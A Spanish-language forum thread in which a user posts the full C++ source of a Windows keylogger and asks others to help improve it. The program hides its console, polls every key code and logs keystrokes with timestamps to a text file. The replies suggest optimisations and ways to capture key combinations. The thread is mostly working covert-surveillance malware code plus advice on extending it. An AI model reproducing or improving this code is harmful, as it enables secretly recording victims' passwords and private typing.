Keylogger en c++

Iniciado por Antabla, 27 Junio 2016, 01:49 AM

0 Miembros y 2 Visitantes están viendo este tema.

Antabla

:rolleyes: Buenas aqui dejo un codigo que estuve haciendo en mi tiempo libre,me gustaria saber si alguien le gustaria colaborar para mejorarlo, optimizarlo esta hecho con fines de aprendizaje, pero me gustaria saber si puede mejorarse.Lo hice yo mismo guiandome de la web.


Código (cpp) [Seleccionar]
#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctime>
#include "Conver.h"

using namespace std;

bool Bloq = false;
void hora();
void arch(string p);
void key();
int cont = 0;

int main ()
{
    /* Ocultar la consola */
//HWND hWnd = GetConsoleWindow();
/* 0 = oculta ; 1 = visible */
//ShowWindow( hWnd, 0);

FreeConsole();
hora();
while(true)
{
    key();
}



return 0;
}

void hora ()
{
   Conver co;
   string H = "";
   string Fecha = "";
   time_t now;
   struct tm nowlocal;

   now = time(NULL);

   nowlocal=*localtime(&now);

   H = co.Num_str(nowlocal.tm_hour) + ":" + co.Num_str(nowlocal.tm_min) + ":" + co.Num_str(nowlocal.tm_sec);
   Fecha = co.Num_str(nowlocal.tm_mday) + "/" + co.Num_str(nowlocal.tm_mon) + "/" + co.Num_str(nowlocal.tm_year+1900);

   arch("\n" + H + " || " + Fecha + "\n");
}

void arch(string p)
{
   FILE*KeyL;
   KeyL = fopen("K3yl0g.txt","a");
   fputs(p.c_str(),KeyL);
   fclose(KeyL);
}

void key()
{
   string p;

   for(int c = 0;c<=255;c++)
   {


       if(GetAsyncKeyState(c) == -32767)
       {

                           switch(c)
                           {
                           case 20:
                               if(Bloq == true)
                               {
                               Bloq = false;
                               }else
                                   {
                                   Bloq = true;
                                   }
                                   //cont++;
                               break;

                               case 16:
                               p = "[Shift]";
                               arch(p);
                               //cont++;
                               break;

                               case 17:
                               p = "[CTRL]";
                               arch(p);
                               //cont++;
                               break;

                               case 18:
                               p = "[ALT]";
                               arch(p);
                               //cont++;
                               break;

                               case 9:
                               p = "\t";
                               arch(p);
                               //cont++;
                               break;

                               case 8:
                               p = "[DEL]";
                               arch(p);
                               //cont++;
                               break;

                               case 187: case 107 :
                               p ="+";
                               arch(p);
                               //cont++;
                               break;


                               case 188:
                               p = ",";
                               arch(p);
                               //cont++;
                               break;

                               case 189: case 109:
                               p = "-";
                               arch(p);
                               //cont++;
                               break;

                               case 190: case 110:
                               p = ".";
                               arch(p);
                               //cont++;
                               break;

                               case 192:
                               p = char(164);
                               arch(p);
                               //cont++;
                               break;

                               case 91:
                               p = "[Win]";
                               arch(p);
                               //cont++;
                               break;

                               default:
                                   if(c == 32 || c == 13)
                                   {
                                       cont++;
                                   }

                                    if(c == 32 || c == 13 || (c>= 48 && c<=105))
                                     {
                                       if(Bloq == false)
                                       {
                                       p = tolower(char(c));
                                       }else
                                           {
                                           p = char(c);
                                           }
                                           arch(p);
                                    }

                                   break;

                           }
                       if(cont == 80)
                       {
                           cont = 0;
                           hora();

                       }

                       c = 0;
               }

}
}



Pense en omitir algunas teclas para que lo que se guarde en el .txt se vea mas limpio, y lo de la hora queria guardar la hora y la fecha cierto tanto tiempo,alguien tiene ideas para mejorarlo.  >:D




Se me olvidaba esto es Conver.h tambien le hice yo.

Código (cpp) [Seleccionar]

#include <map>
#include <iostream>

using namespace std;

class Conver
{
   public:
       string Num_str(int i);
       int Str_num(string i);
       int Char_num(char i);
string Char_str(char i);
char Str_char(string i);
bool Isint(char n);
   protected:

   private:
};

bool Conver::Isint(char n)
{
   string N = "-0123456789";

   for(int i = 0;i<N.length();i++)
   {
       if(n == N[i])
       {
           return true;
       }
   }

   return false;

}

char Conver::Str_char(string i)
{
map<string, char> conver;

conver["+"] = '+';
conver["-"] = '-';
conver["*"] = '*';
conver["/"] = '/';
conver["^"] = '^';

return conver[i];
}

string Conver::Char_str(char i)
{
   map<char, string> conver;

   conver['0'] = "0";
   conver['1'] = "1";
   conver['2'] = "2";
   conver['3'] = "3";
   conver['4'] = "4";
   conver['5'] = "5";
   conver['6'] = "6";
   conver['7'] = "7";
   conver['8'] = "8";
   conver['9'] = "9";
   conver['+'] = "+";
   conver['-'] = "-";
   conver['*'] = "*";
   conver['/'] = "/";
   conver['('] = "(";
   conver[')'] = ")";
   conver['^'] = "^";
   conver['x'] = "x";
   conver['y'] = "Y";

   return conver[i];
}

int Conver::Char_num(char i)
{
   map<char, int> conver;

   conver['0'] = 0;
   conver['1'] = 1;
   conver['2'] = 2;
   conver['3'] = 3;
   conver['4'] = 4;
   conver['5'] = 5;
   conver['6'] = 6;
   conver['7'] = 7;
   conver['8'] = 8;
   conver['9'] = 9;

   return conver[i];
}

///LISTO---------------------------------------
string Conver::Num_str(int i)
{
   bool t = true;
if(i < 0)
{
   i = i*(-1);
   t = false;
}
   map<int, string> conver;

   conver[0] = "0";
   conver[1] = "1";
   conver[2] = "2";
   conver[3] = "3";
   conver[4] = "4";
   conver[5] = "5";
   conver[6] = "6";
   conver[7] = "7";
   conver[8] = "8";
   conver[9] = "9";

   if (i>=0 && i <=9)
       {
            if(t)
            {
                return (conver[i]);
            }else
               {
                   return ("-"+conver[i]);
               }
       }
       else
         {
             int aux;
             if (i>=10 && i<=99 )
             {
                 aux = 10;
             }
             else
             {
                 if(i>=100 && i<=999)
                 {
                     aux = 100;
                 }
                 else
                 {
                     if(i>=1000 && i<=9999)
                     {
                         aux = 1000;
                     }
                     else
                     {
                         if (i>=10000 && i<=99999)
                         {
                             aux = 10000;
                         }
                         else
                           {
                               if(i>=100000 && i<=999999)
                               {
                                   aux = 100000;
                               }
                               else
                               {
                                   if(i>=1000000 && i<=9999999)
                                   {
                                       aux = 1000000;
                                   }
                                   else
                                   {
                                       if(i>=10000000 && i<=99999999)
                                       {
                                           aux = 10000000;
                                       }
                                       else
                                       {
                                           if(i>=100000000  && i<=999999999)
                                           {
                                               aux = 100000000;
                                           }
                                           else
                                           {
                                               aux = 1000000000;
                                           }
                                       }
                                   }
                               }
                           }
                     }
                 }
             }

             string receptot = "";
       for (aux=aux;aux>=1;aux=aux/10)
       {
           receptot += Num_str(i/aux);
           i = i%aux;
       }

       if(t)
       {
       return (receptot);
       }else
           {
               return("-"+receptot);
           }
         }


}
///LISTO_______________________________________
int Conver::Str_num(string i)
{

   map<string, int> conver;


   conver["0"] = 0;
   conver["1"] = 1;
   conver["2"] = 2;
   conver["3"] = 3;
   conver["4"] = 4;
   conver["5"] = 5;
   conver["6"] = 6;
   conver["7"] = 7;
   conver["8"] = 8;
   conver["9"] = 9;


   if (i.length() <=1)
   {
   return(conver[i]);
   }
   else{

           int aux=1;
           int acumulador = 0;

           for (int j = 1;j<=i.length();j++)
           {
               aux*=10;
           }

           for (int j = 0;j<=i.length()-1;j++)
           {
               aux = aux/10;

               acumulador +=Char_num(i[j])*aux;

           }
           if (i[0] == '-')
           {
               return -(acumulador);
           }else
               {
               return acumulador;
               }


   }

}

///--------------------------------------------



Mod: no hacer doble post

AlbertoBSD

Hola se ve muy bien el codigo  ;-) ;-)

Aun que creo que podrias usar un arreglo de caracteres en lugar de strings para que sea un poquitin mas rápida la app.

Ademas no se que tanta memoria este consumiendo tu programa ya que los string se están creando a cada rato y no se cada cuanto tiempo se liberen.

la otra que no veo es si determinas correctamente si se precionan teclas al mismo tiempo como alt-f4 etc.

Saludos

Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

Antabla

Gracias por tomarte la molestia de ver mi codigo AlbertoBSD  :) , utilizare el areglo de caracteres como me recomiendas para ver, y pues el programa no reconoce las combinaciones de teclas ya que no se como hacerlo tienes alguna idea al respecto.

AlbertoBSD

Hace tiempo cuando hacia menus animados xD jaja

capturaba las teclas  ingresadas por los usuarios y validaba, creo que cuando era una de estas teclas me devolvia 0 y posteriormente un valor mas. Entonces tendrías que agregar un case 0 y posteriormente capturar el valor siguiente como si fueran una sola tecla.

No se si siga siendo asi, seria de que probaras el case e impimir solo el valor siguiente para ver que tecla precionaste, tendrias que probar con todas las combinaciones de alt+Algo

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

Antabla

vale gracias vere que le puedo agregar,por cierto buenos videos  ::) ;-) .